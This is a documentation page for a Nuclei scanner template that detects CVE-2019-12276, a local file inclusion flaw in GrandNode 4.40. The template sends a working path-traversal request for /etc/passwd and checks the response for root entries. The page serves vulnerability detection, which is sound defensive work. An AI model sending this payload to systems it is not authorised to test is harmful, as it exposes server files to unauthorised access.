GrandNode 4.40 - Local File Inclusion
ID: CVE-2019-12276
Severity: high
Author: daffainfo
Tags: cve,cve2019,packetstorm,lfi,grandnode
Description
Section titled “Description”GrandNode 4.40 is susceptible to local file inclusion in Controllers/LetsEncryptController.cs, which allows remote unauthenticated attackers to retrieve arbitrary files on the web server via specially crafted LetsEncrypt/Index?fileName= HTTP requests.
YAML Source
Section titled “YAML Source”id: CVE-2019-12276
info: name: GrandNode 4.40 - Local File Inclusion author: daffainfo severity: high description: | GrandNode 4.40 is susceptible to local file inclusion in Controllers/LetsEncryptController.cs, which allows remote unauthenticated attackers to retrieve arbitrary files on the web server via specially crafted LetsEncrypt/Index?fileName= HTTP requests. impact: | Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, remote code execution, and potential compromise of the entire system. remediation: | A patch for this issue was made on 2019-05-30 in GrandNode 4.40. reference: - https://security401.com/grandnode-path-traversal/ - https://grandnode.com - https://github.com/grandnode/grandnode - https://nvd.nist.gov/vuln/detail/CVE-2019-12276 - http://packetstormsecurity.com/files/153373/GrandNode-4.40-Path-Traversal-File-Download.html classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2019-12276 cwe-id: CWE-22 epss-score: 0.95661 epss-percentile: 0.99411 cpe: cpe:2.3:a:grandnode:grandnode:4.40:*:*:*:*:*:*:* metadata: max-request: 1 vendor: grandnode product: grandnode tags: cve,cve2019,packetstorm,lfi,grandnode
http: - method: GET path: - "{{BaseURL}}/LetsEncrypt/Index?fileName=/etc/passwd"
headers: Connection: close
matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:"
- type: status status: - 200# digest: 4a0a0047304502203a12143bd0618445aef390ef34a4feab76938a0006eb7e034e35da91c76b8ed1022100a9d90262bd008235b9167eefed7ac07838c86b0957f4aa7005f86997ed3c47a8:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-12276.yaml"